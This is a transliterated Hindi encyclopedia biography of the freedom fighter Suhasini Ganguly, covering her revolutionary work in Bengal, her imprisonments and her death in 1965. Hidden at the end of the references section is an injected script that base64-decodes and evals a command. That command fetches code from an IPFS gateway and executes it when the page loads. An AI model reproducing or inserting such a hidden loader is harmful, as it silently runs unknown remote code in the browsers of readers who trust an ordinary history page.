सुहासिनी गांगुली
suhasini gaanguli
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| poora nam | suhasini gaanguli |
| any nam | suhasini didi |
| janm | 3 faravari, 1909 |
| janm bhoomi | khulana, bangal |
| mrityu | 23 march, 1965 |
| abhibhavak | pita- avinash chandr gaanguli, mata- saralasundari devi |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani |
| jel yatra | hijali jel mean 1930 se 1938 tak rahian. |
| any janakari | san 1942 ke andolan mean bhi suhasini gaanguli ne bhag liya aur phir jel geean. isake bad 1945 mean chhootian. |
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suhasini gaanguli (aangrezi: Suhasini Ganguly, janm- 3 faravari, 1909; mrityu- 23 march, 1965) bharatiy svatantrata senani thian. bharatavarsh ki azadi unake jivan ka sabase b da sapana tha, jisako poora karane mean unhoanne apana poora jivan laga diya. unake is tyagamay jivan aur sahasik kary ko samman dene ke lie kolakata ki ek s dak ka nam 'suhasini gaanguli sarani' rakha gaya hai. rachana bhola yamini ne apani pustak 'svatantrata sangram ki kraantikari mahilaean' mean unake jivan charitr ka varnan kiya hai.
parichay
suhasini gaanguli ka janm 3 faravari san 1909 mean khulana, bangal mean hua tha. unaka paitrik ghar dhaka, zila vikramapur ke baghiya namak gaanv mean tha. pita avinash chandr gaanguli aur mata saralasundari devi ki beti suhasini 1924 mean dhaka eedan haeeskool se maitrik pas karake eedan kalej se snatak banian. ek tairaki skool mean ve kalyani das aur kamala dasagupta ke sampark mean aeean aur kraantikari dal ka sath dene ke lie prashikshan lene lagian. 1929 mean viplavi dal ke neta rasik lal das se parichay hone ke bad to vah poori tarah se dal mean sakriy ho geean. hemant taraphadar ne bhi unhean is or protsahit kiya.
adhyapan kary
san 1930 ke 'chatagaanv shastragar kaand' ke bad bahut se kraantikari british pulis ki dhar-pak d se bachane ke lie chandranagar chale gaye the. suhasini gaanguli in kraantikariyoan ko suraksha dene ke lie kalakatta se chandranagar pahuanchian. isake pahale vah kalakatta mean gooange-bahare bachchoan ke ek skool mean kary kar rahian thian. chandranagar pahuanchakar unhoanne vahian ke ek skool mean adhyapan-kary le liya. sham se subah tak vah kraantikariyoan ki sahayak unaki priy suhasini didi thian. din bhar ek samany adhyapika ke roop mean kam par jati thian aur ghar mean shashidhar achary ki chhadm patni banakar rahati thian taki kisi ko sandeh n ho aur yah ghar ek samany grihasth ka ghar lage aur vah kraantikariyoan ko suraksha bhi de sakean. ganesh ghosh, lokanath bal, jivan ghoshal, hemant taraphadar adi kraantikari bari-bari se yahian akar thaharate the.
‘chhatri sangha’ sangathan
apani naukari ke dauran suhasini gaanguli un l dakiyoan ke sanpark mean aeean, jo din bhar jan hatheli par lekar aangrez hukoomat ko dhool chatane ke khvab dil mean lie ghoomati thian. jinamean se ek thian- kamaladas gupta, ek h aaustal ki v aaurdan. unake h aaustal mean bam, goli kya nahian banata tha. l dakiyoan ke hathoan mean sare hathiyaroan ki kaman hoti thi aur iancharj hoti thian kamaladas gupta. doosari thian pritilata vadedar. priti mastar soory sen ke kraantikari gut ki vo viraangana thian, jinako ek yooropiy klab par ye likha akhar gaya tha ki ‘iandiyans eand d aaugs ar n aaut elaud’. kee kraantikariyoan ke sath us klab par hamala bol diya. apani jan ganva di, lekin goliyoan ki bauchhar kar di. akhirakar vo klab band hi ho gaya. ek aur thian bina das, jisane dikshaant samaroh mean bangal ke garvanar jaiksan par ek-ek karake bhare h aaul mean paanch goliyaan dag dian. dilachasp bat thi ki bina das ko bhi vah pistaul kamaladas gupta ne hi di thi. ye sari l dakiyaan ‘chhatri sangha’ nam ka sangathan chalati thian.[1]
sabhi ka sath
jis tarah phraans aur ianglaiand mean dosti ke bad peris ke bharatiy kraantikariyoan ko mushkil ho gee thi, maidam kama aur shyamaji krishna varma ko peris chho dana p d gaya tha. usi tarah chandranagar mean bhi bangal ke kraantikariyoan ke lie mushkil ho gee. phraansisi adhipaty vale chandranagar mean suhasini gaanguli bhi chali geean aur kraantikari shashidhar achary ki chhadam dharmapatni ke taur par rahane lagian. vahaan unhean skool mean j aaub bhi mil geean. sabhi kraantikariyoan ke bich vo suhasini didi ke taur par jani jati thian. har vakt har ek ki har samasya ke samadhan ke sath upalabdh rahane vali didi. bilakul bhagat sianh, sukhadev, rajaguru ki durga bhabhi ki tarah. kraantikariyoan ke netavark v sangathan ko parade ke pichhe chalane mean unaka b da hath rahata tha. un par koee asani se shak bhi nahian karata tha.
kraantikariyoan ka thikana
suhasini gaanguli ka ghar kraantikariyoan ke lie usi tarah se panah ka thikana ban gaya tha, jaise bhikhaji kama ka ghar kabhi vir savarakar ke lie tha. hemant taraphadar, ganesh ghosh, jivan ghoshal, lokanath bal jaise tamam kraantikariyoan ko samay-samay par pulis se bachane ke lie unaki sharan leni p di; lekin iangalaiand, phraans ki dosti ne unake lie bhi mushkilean paida kar dian. aangreji pulis ab chandranagar ki galiyoan mean bhi apana jal bichhane lagi aur unake nishane par a geean suhasini gaanguli bhi. ek din pulis ne chhapa mara, amane samane ki l daee mean jivan ghoshal mare ge. shashidhar achary aur suhasini ko giraphtar kar liya gaya aur 1938 tak kee sal unhean hijali diteanshan kaimp mean rakha gaya. dilachasp bat hai ki aj is kaimp ki jagah par kh dagapur aeeaeeti ka kaimpas hai.
kamyunist parti se ju dav
jugaantar parti ke kuchh sadasy kaangres mean, kuchh kamyunist parti mean chale ge aur bakiyoan ne apani alag alag rah pak dian. suhasini ko bhi kamyunist parti mean kisi ne jo d diya, lekin jab 1942 ke bharat chho do aandolan mean kamyunist parti ne hissa nahian liya to vo poori tarah sahamat nahian thian aur aandolan mean sakriy hemant taraphadar ki sahayata karati rahian aur khud bhi chupake se aandolan mean sakriy rahian. hemant ko sharan bhi di. isi arop mean unako bhi giraphtar karake 1942 mean jel bhej diya gaya. 1945 mean bahar aeean to hemant taraphadar dhanabad mean ek ashram mean rah rahe the, vo bhi usi ashram mean jakar rahane lagian.[1]
azadi pashchat shesh jivan
hamesha khadi pahanane valian suhasini gaanguli adhyatmik tabiyat ki thian, desh ko ajad karana hi unaka ekamatr lakshy tha. unake sanpark mean itane kraantikari ae, jo unake vyaktitv se kaphi prabhavit bhi the. ek ki vo chhadam patni tak banakar rahian lekin kabhi bhi unhoanne apane parivar, apani jiandagi ke bare mean nahian socha, yahaan tak ki desh ki ajadi ke bad bhi nahian. kaimare se bhi vo kaphi door rahati thian. unaki ekamatr tasvir milati hai, jo shayad kisi ne us vakt chupachap khianchi hogi, jab vo ashram mean ta d ke vrikshoan ke bich dhyan mudra mean tallin thian. aankhean band thian. ajadi ke bad unhoanne apana sari jivan samajik, adhyatmik kamoan mean hi laga diya. unhean p़ aaulitiks ras bhi nahian aee thi.
mrityu
march 1965 mean ek din jab suhasini gaanguli kahian ja rahi thian, raste mean unaka eksideant ho gaya. unake ilaj mean laparavahi barati gee. vah baiktiriyal inphekshan ka shikar ho geean aur 23 march, 1965 ko svarg sidhar geean. usi din jis din bhagat sianh, sukhadev aur rajaguru ko phaansi par latakaya gaya tha. isalie amataur par us din suhasini gaanguli ko najaraandaj kar diya jata hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 kraantikariyoan ki ‘didi’ suhasini ki hairataangej kahani (hiandi) zeenews.india.com. abhigaman tithi: 23 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
- REDIRECTsaancha:svatantrata senani
varnamala kramanusar lekh khoj
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